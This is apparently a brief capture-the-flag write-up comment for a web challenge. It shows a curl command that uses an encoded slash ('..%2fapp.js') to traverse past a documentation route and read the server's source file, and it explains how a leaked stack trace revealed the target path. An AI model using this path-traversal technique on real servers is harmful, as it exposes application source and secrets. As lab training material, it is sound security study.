Rating: 1.0

`curl --path-as-is 'https://logmepolicy.appsecil.ctf.today/documentation/..%2fapp.js'`

realgam3Oct. 27, 2020, 7:16 a.m.

The way to find it was:
1) look at /robots.txt and see 2 documentation links
/documentation/terms.txt
/documentation/old_terms.txt
2) by going to the old documentation link you will see (/documentation/old_terms.txt):
Error: ENOENT: no such file or directory, open '/app/documentation/old_terms.txt'
at Object.openSync (fs.js:462:3)
at Object.readFileSync (fs.js:364:35)
at /app/app.js:40:21
That clearly show you the path of the main file.
then to pass the router normalization use url encode on / (%2f) (what you did).